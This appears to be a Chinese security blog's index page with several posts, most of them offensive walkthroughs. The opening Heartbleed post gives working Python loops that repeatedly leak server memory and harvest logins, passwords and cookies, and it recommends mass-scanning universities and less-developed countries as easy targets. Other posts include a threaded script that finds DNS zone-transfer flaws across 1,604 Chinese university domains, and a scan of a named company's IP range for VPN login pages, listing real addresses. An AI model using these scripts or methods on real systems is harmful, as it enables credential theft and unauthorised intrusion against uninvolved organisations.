OpenSSL Heartbleed “心脏滴血”漏洞简单攻击示例

OpenSSL Heartbleed漏洞的公开和流行让许多人兴奋了一把,也让另一些人惊慌了一把。

单纯从攻击的角度讲,我已知道的,网上公开的扫描工具有:

1.  Nmap脚本ssl-heartbleed.nse: http://nmap.org/nsedoc/scripts/ssl-heartbleed.html

nmap -sV --script=ssl-heartbleed 

2. Jared Stafford的testssl.py: https://gist.github.com/sh1n0b1/10100394

3. CSHeartbleedScanner:    http://www.crowdstrike.com/community-tools/

若想要批量寻找攻击目标,可以直接扫目标IP段的443端口。高校和互联网不发达的国家都是比较容易攻击的。

得到活跃主机IP地址,再导入上述扫描器。

针对特定的某个攻击目标,可以查看已经读到的内容,利用正则表达式不停拉抓账号密码

也可以根据关键词,不停抓下cookie,账号等。

将testssl.py的代码修改为不输出偏移地址和非ascii字符,找到hexdump函数,修改为:

def hexdump(s):
    pdat = ''
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        pdat += ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)

    print '%s' % (pdat.replace('......', ''),)
    print

这样就只输出有用的ascii字符串了。

 1. 正则表达式抓账号

import os
import re
import time

accounts = []
while True:
    result = os.popen('openssl.py ').read()
    matches = re.findall('"db":"(.*?)","login":"(.*?)","password":"(.*?)"', result)
    for match in matches:
        if match not in accounts:
            accounts.append(match)
            with open('accounts.txt', 'a') as inFile:
                inFile.write(str(match) + '\n')
            print 'New Account:', match
    time.sleep(1.0)

脚本间隔一秒钟读一次数据,发现正则匹配的账号密码,若之前没出现过,就写入accounts.txt文件。

这样可以避免重复写入同样的账号、密码。

2. 根据关键词抓数据

如果并不确定后台地址,也不知道登录请求、Cookie的格式,直接用关键词抓账号就行了。

类似下面的代码:

import os
import re
import time

accounts = []
while True:
    result = os.popen('openssl.py ').read()
    keywords = ['system', 'password', 'passwd', 'admin']
    for word in keywords:
        if result.find(word) > 0:
            print 'new data', time.asctime()
            with open('data_1\\' + time.asctime().replace(':', ' ') + '.txt', 'w') as f:
                f.write(result)
            break
    time.sleep(1.0)

这样一旦返回的数据中存在关键词passwd、password等,就会把数据写入data_1文件夹下面,以时间命名。

Google Drive OCR并不适合用于验证码识别

之前看到有人说Google API可以用来做图片验证码识别,想到今后或许能长期偷懒,就简单测试了下,最后发现,其实是难以用于实际攻击的。不过做了工作,还是总结一下。

1. Google Drive API快速入门

首先安装Google Client Library:

pip install --upgrade google-api-python-client

API Reference没详看,直接在Google Developers搜OCR,找到了Files: insert 方法。

它的作用是上传并创建新文档。可选参数OCR可以设定是否要应用OCR,识别图片和PDF中的文字。

阅读 Quickstart: Run a Drive App in Python 上手,有兴趣还可以看看底部的视频。 示例代码地址:goo.gl/dxuuB

https://console.developers.google.com/创建一个新的Project

在新建的Project下创建Client ID,如下图所示:

credentials 继续阅读Google Drive OCR并不适合用于验证码识别

DNS域传送漏洞(五) — python实现DNS axfr客户端[Response]

前文介绍了生成DNS查询,本文继续介绍如何解码DNS服务器发回的响应文本。

首先应该明确,响应和查询的基本格式是一样的,都是由5个部分组成:header、Question、Answer、 Authority、Additional。并且,Header的格式也完全相同。

检查RCODE的值

拿到Response首先应该检查RCODE,因为域传送多半并不成功。检查第3个字节的最后四位即可:

    RCODE = struct.unpack('!H', response[2:4] )[0] & 0b00001111 # last 4 bits is RCODE
    if RCODE != 0:
        print 'Transfer Failed. %>_<%'
        sys.exit(-1)

这里是拿两个字节和二进制数00001111取and。

读Answer RRs的值

RRs是指Resource Record,资源记录。 该值位于第7、8字节。

跳过Header和Query

在前文查询消息中,已经记录了Query区块的长度,用到这里直接跳到Answers区块:

OFFSET = 12 + LEN_QUERY + 4    # header = 12, type + class = 4

12是Header的长度。

读取所有记录

Answer记录的基本格式是:

      0  1  2  3  4  5  6  7  8  9  0  1  2  3  4  5
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                                               |
    /                                               /
    /                      NAME                     /
    |                                               |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                      TYPE                     |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                     CLASS                     |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                      TTL                      |
    |                                               |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                   RDLENGTH                    |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--|
    /                     RDATA                     /
    /                                               /
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+

这里很关键的是Name字段。它有两种格式:

  1. 跟前一篇提到的Query格式相同,直接用Label序列表示。
  2. 用一个偏移量,来指示前文中已经出现的某个位置。实际上,这是为了压缩文本,前面已经出现过的文本,不再重复。

如果是第二种表示法,则起始的两个字节是:

0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
1 1 消息内部的偏移量

于是,只需要检查前两个字节,就可以知道Name采用了何种表示法了。如果为11,就跳到对应的偏移位置去读域名。

当Type的值为1,即A记录时,RDLENGTH的值是4,并且RDATA表示的是4个字节的IP地址。循环读取记录直到消息结尾。

笔者只处理了A记录:

dns_axfr_client

建议在编码的时候,一定要使用WireShark抓包,并且对照分析各个section的内容。

去Github获取代码
参考链接: http://www.zytrax.com/books/dns/ch15/

DNS域传送漏洞(四) — python实现DNS axfr客户端[Query]

在DNS查询中,axfr类型是Authoritative Transfer的缩写,指请求传送某个区域的全部记录。

前面三篇日志中,笔者分别使用nmap、dig、nslookup来查询域传送记录。

本篇介绍自己动手,用python写一个简单的DNS客户端,仅实现axfr查询,并且只处理A记录。

DNS消息的格式

DNS请求和响应,都是由5个区块组成的,如下图所示:

    +---------------------+
    |        Header       |
    +---------------------+
    |       Question      | the question for the name server
    +---------------------+
    |        Answer       | RRs answering the question
    +---------------------+
    |      Authority      | RRs pointing toward an authority
    +---------------------+
    |      Additional     | RRs holding additional information
    +---------------------+

axfr请求的包,只填充header和Question区块就可以了。

Header区块的格式

Header的格式是这样的: 继续阅读DNS域传送漏洞(四) — python实现DNS axfr客户端[Query]

DNS域传送漏洞(三)

本篇介绍批量扫描存在DNS域传送漏洞的DNS服务器。

笔者选择了安全性比较差的教育网,共扫描1604所高校,发现漏洞主机396台。

高校的域名可从该页面抓取到:http://ziyuan.eol.cn/college.php?listid=128

#encoding=gbk

import urllib2
import re
import threading
import os

html_doc = urllib2.urlopen('http://ziyuan.eol.cn/college.php?listid=128').read().decode('utf-8')
links = re.findall('href="(list.php\?listid=\d+)', html_doc)    # 地区链接
colleges = []
for link in links:
    html_doc = urllib2.urlopen(u'http://ziyuan.eol.cn/' + link).read().decode('utf-8')
    urls = re.findall('www\.\w+\.edu.\w+', html_doc)
    for url in urls:
        colleges.append(url)
    print '已采集学校主页 %d 个...' % len(colleges)

# 导出学校主页
with open('colleges.txt', 'w') as outFile:
    for college in colleges:
        outFile.write(college + '\n')      


lock = threading.Lock()
c_index = 0
def test_DNS_Servers():
    global c_index
    while True:
        lock.acquire()
        if c_index >= len(colleges):
            lock.release()
            break    # End of list
        domain = colleges[c_index].lstrip('www.')
        c_index += 1
        lock.release()
        cmd_res = os.popen('nslookup -type=ns ' + domain).read()    # fetch DNS Server List
        dns_servers = re.findall('nameserver = ([\w\.]+)', cmd_res)
        for server in dns_servers:
            if len(server) < 5: server += domain
            cmd_res = os.popen(os.getcwd() + '\\BIND9\\dig @%s axfr %s' % (server, domain)).read()
            if cmd_res.find('Transfer failed.') < 0 and \
               cmd_res.find('connection timed out') < 0 and \
               cmd_res.find('XFR size') > 0 :
                lock.acquire()
                print '*' * 10 +  ' Vulnerable dns server found:', server, '*' * 10
                lock.release()
                with open('vulnerable_hosts.txt', 'a') as f:
                    f.write('%s    %s\n' % (server.ljust(30), domain))
                with open('dns\\' + server + '.txt', 'w') as f:
                    f.write(cmd_res)
                     
threads = []
for i in range(10):
    t = threading.Thread(target=test_DNS_Servers)
    t.start()
    threads.append(t)

for t in threads:
    t.join()

print 'All Done!'

请读者注意几个细节:

1) 笔者将windows下的命令行工具dig放在了子目录BIND9下,BIND可前往http://www.isc.org/下载。如果你使用Linux,可把完整路径删除。

2) Os.popen打开一个子程序,并返回它的执行结果。

3) Dig命令执行结果中出现特征字符串“XFR size”,则表明该DNS服务器存在漏洞。

github获取源代码

找到某公司VPN服务器地址的方法

之前曾写过一篇博客:通过邮件发送图片获取某人IP地址的简单方法

当时并没有进一步利用。今天突然想起来,至少应该找到VPN服务器看看的。

于是搬出来,扫222.129.43.1 ~ 222.129.43.255开放443端口、53端口和389端口的主机,看能否找到SSL VPN。

E:\s tcp 42.120.74.1 42.120.74.255 443 50
TCP Port Scanner V1.1 By WinEggDrop

Normal Scan: About To Scan 255 IP Using 50 Threads
42.120.74.45     443   Open
42.120.74.42     443   Open
42.120.74.43     443   Open
42.120.74.112    443   Open
42.120.74.113    443   Open
42.120.74.179    443   Open
Scan 255 IPs Complete In 0 Hours 0 Minutes 15 Seconds. Found 6 Hosts

打开https://42.120.74.43:443

可以找到阿里巴巴登录页面:https://login.alibaba-inc.com/arkserver/Login.aspx?app=http%3a%2f%2f42.120.74.43%2f&redirectURL=http%3a%2f%2f42.120.74.43%2fdefault.aspx

https://42.120.74.179/+CSCOE+/logon.html

https://42.120.73.5/+CSCOE+/logon.html

https://42.120.73.201/+CSCOE+/logon.html

百度的那个IP扫出来没有利用价值,没有找到VPN服务器。